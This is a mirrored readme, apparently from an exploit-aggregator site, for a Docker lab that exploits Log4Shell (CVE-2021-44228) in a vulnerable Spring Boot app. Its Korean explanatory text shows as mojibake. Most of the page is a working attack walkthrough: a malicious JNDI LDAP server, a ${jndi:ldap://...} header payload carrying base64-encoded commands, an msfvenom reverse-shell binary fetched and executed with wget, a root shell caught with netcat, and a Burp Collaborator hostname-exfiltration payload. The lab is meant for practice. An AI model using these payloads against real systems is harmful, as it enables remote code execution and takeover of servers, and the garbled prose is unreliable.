## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-TWSEPTIAN-SPRING-BOOT-LOG4J-CVE-2021-44228-DOCKER-LAB
# Spring Boot Log4j - CVE-2021-44228
Log4Shell ์ทจ์ฝ์ (CVE-2021-44228)์ ๋ณธ์ง์ ์ผ๋ก ๋งค์ฐ ๋จ์ํ JNDI ์ฃผ์
๊ฒฐํจ์ด์ง๋ง, ์ ๋ง ์ ๋ง ์น๋ช
์ ์ธ ์์น์ ์กด์ฌํฉ๋๋ค. Log4J๋ ๋ก๊น
๋ฉ์์ง์์ ํ๋ ์ด์คํ๋๋ฅผ ํ์ฅํ ๋(๋๋ ํ์ํ๋ ๋ฉ์์ง์ ๋งค๊ฐ๋ณ์๋ก ๊ฐ์ ์ ์ผ๋ก) JNDI lookup()์ ์ํํฉ๋๋ค. ...๋ ์ฝ๊ธฐ PSA: Log4Shell ๋ฐ JNDI ์ฃผ์
์ ํ์ฌ ์ํ.
## Docker ๋ฉ ์ค์
_์ฐธ๊ณ :_ ์ด dockerfile์ ์๋ Log4Shell ์ํ ์ทจ์ฝ ์ ํ๋ฆฌ์ผ์ด์
(CVE-2021-44228)์์ ๊ฐ์ ธ์จ ๊ฒ์
๋๋ค. Log4j 2.14.1(spring-boot-starter-log4j2 2.6.1์ ํตํด)๊ณผ JDK 1.8.0_181์ ์ฌ์ฉํฉ๋๋ค.
CVE-2021-44228์ ์ค์ต/ํ์ตํ๊ธฐ ์ํ ์ปจํ
์ด๋ ๋ฉ์
๋๋ค. ์ ์ฅ์๋ฅผ ํด๋ก ํด ๋ด
์๋ค.
root@kitploit:~
$ git clone https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab.git
$ cd Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab/
$ docker build spring-boot-log4j -t spring-boot-log4j-vulnerable
$ docker run -p 8080:8080 --name spring-boot-log4j-vulnerable spring-boot-log4j-vulnerable

## JNDI-Injection-Exploit์ ์ฌ์ฉํ ๊ณต๊ฒฉ
๋์: 172.17.0.2
๊ณต๊ฒฉ์: 172.17.0.1
* https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2์์ JNDIExploit ๋ค์ด๋ก๋ `์
๋ฐ์ดํธ (12์ 13์ผ):` JNDIExploit ์ ์ฅ์๊ฐ GitHub์์ ์ ๊ฑฐ๋์์ต๋๋ค.
root@kitploit:~
$ cd tools/
$ unzip JNDIExploit.v1.2.zip
$ cd JNDIExploit.v1.2/
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -h
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Usage: java -jar JNDIExploit-1.2-SNAPSHOT.jar [options]
Options:
* -i, --ip Local ip address
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8080)
-u, --usage Show usage (default: false)
-h, --help Show this help
* base64๋ฅผ ์ฌ์ฉํ์ฌ ๋ช
๋ น์ค์ ์ธ์ฝ๋ฉํฉ๋๋ค. ์ด ๊ฒฝ์ฐ ๋์ ๋จธ์ ์์ ๊ณต๊ฒฉ์ ๋จธ์ ์ผ๋ก ping ๋ช
๋ น์ ๋ณด๋
๋๋ค.
root@kitploit:~
$ echo 'ping -c 5 172.17.0.1' | base64 -w 0
cGluZyAtYyA1IDE3Mi4xNy4wLjEK
* JNDIExploit์ ์ฌ์ฉํ์ฌ ์
์ฑ LDAP ์๋ฒ๋ฅผ ์คํํฉ๋๋ค.
root@kitploit:~
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
* ๊ทธ๋ฐ ๋ค์ ์๋ ๋ช
๋ น์ ์คํํ์ฌ ๋์ ๋จธ์ ์์ ping ๋ช
๋ น์ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค.
root@kitploit:~
$ curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK}'
* JNDIExploit์ ์ถ๋ ฅ์ ํ์ธํด ๋ด
์๋ค.
root@kitploit:~
...
[+] Received LDAP Query: Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK
[+] Paylaod: command
[+] Command: ping -c 5 172.17.0.1
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK redirecting to http://172.17.0.1:8888/ExploitX07BVXemV5.class
[+] New HTTP Request From /172.17.0.2:58630 /ExploitX07BVXemV5.class
[+] Receive ClassRequest: ExploitX07BVXemV5.class
[+] Response Code: 200
* ์ด์ tcpdump๋ฅผ ์ฌ์ฉํ์ฌ ๋์ ๋จธ์ ์์ ์ค๋ ping ๋ช
๋ น์ ์บก์ฒํ ์ ์์ต๋๋ค.
root@kitploit:~
$ sudo tcpdump -i docker0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on docker0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
22:32:07.210584 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 0, length 64
22:32:07.210594 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 0, length 64
22:32:08.210938 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 1, length 64
22:32:08.210965 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 1, length 64
22:32:09.211367 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 2, length 64
22:32:09.211391 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 2, length 64
22:32:10.211569 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 3, length 64
22:32:10.211592 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 3, length 64
22:32:11.211814 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 4, length 64
22:32:11.211848 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 4, length 64
## ์๊ฒฉ ์ฝ๋ ์คํ - CTF ์คํ์ผ "๋ฆฌ๋ฒ์ค ์
ธ์ ์ป๋ ๋ฐฉ๋ฒ"
* msfvenom์ ์ฌ์ฉํ์ฌ ๋ฆฌ๋ฒ์ค ์
ธ ํ์ผ์ ์์ฑํฉ๋๋ค.
root@kitploit:~
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=172.17.0.1 LPORT=4444 -f elf -o /tmp/rev.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: /tmp/rev.elf
* ๊ณต๊ฒฉ ๋จธ์ ์์ python์ ์ฌ์ฉํ์ฌ ๋ก์ปฌ ์๋ฒ๋ฅผ ์ค๋นํฉ๋๋ค.
root@kitploit:~
$ sudo python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
* ์๋ ๋ช
๋ น์ค์ `base64`๋ก ์ธ์ฝ๋ฉํฉ๋๋ค.
root@kitploit:~
wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf
* base64 ์ถ๋ ฅ์ ๋ณต์ฌํฉ๋๋ค.
root@kitploit:~
$ echo 'wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf' | base64
d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK
* JNDIExploit์ ์ฌ์ฉํ์ฌ ์
์ฑ LDAP ์๋ฒ๋ฅผ ์คํํฉ๋๋ค.
root@kitploit:~
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
...
* ๊ทธ๋ฐ ๋ค์ ์๋ ๋ช
๋ น์ ์คํํ์ฌ ์ฐ๋ฆฌ์ ๋ช
๋ น์ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค.
root@kitploit:~
$ curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK}'
Hello, world!
* ๊ณต๊ฒฉ์ ๋จธ์ ์์ netcat ๋ฆฌ๋ฒ์ค ์
ธ์ ์์ํฉ๋๋ค. `nc -lvnp 4444`, ๊ทธ๋ฌ๋ฉด netcat์ด ๋ฆฌ๋ฒ์ค ์
ธ์ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค.
root@kitploit:~
$ nc -lvnp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:42176.
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
whoami
root
* JNDIExploit์ ์ถ๋ ฅ
root@kitploit:~
...
[+] Received LDAP Query: Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK
[+] Paylaod: command
[+] Command: wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK redirecting to http://172.17.0.1:8888/ExploitgV2vh72T6X.class
[+] New HTTP Request From /172.17.0.2:58650 /ExploitgV2vh72T6X.class
[+] Receive ClassRequest: ExploitgV2vh72T6X.class
[+] Response Code: 200
## burp suite collaborator๋ฅผ ์ฌ์ฉํ์ฌ ํธ์คํธ ์ด๋ฆ ์ป๊ธฐ
* ํ์ด๋ก๋
root@kitploit:~
${jndi:ldap://${hostName}.our-link.burpcollaborator.net/}

์ฐธ๊ณ ์๋ฃ:
* Log4Shell: ์ธ๊ธฐ ์๋ Java ๋ก๊น
ํจํค์ง์ธ log4j 2์์ ๋ฐ๊ฒฌ๋ RCE 0-day ์ทจ์ฝ์
* PSA: Log4Shell ๋ฐ JNDI ์ฃผ์
์ ํ์ฌ ์ํ
* Log4Shell ์ํ ์ทจ์ฝ ์ ํ๋ฆฌ์ผ์ด์
(CVE-2021-44228)
* JNDIExploit `์
๋ฐ์ดํธ (12์ 13์ผ): JNDIExploit ์ ์ฅ์๊ฐ GitHub์์ ์ ๊ฑฐ๋์์ต๋๋ค.`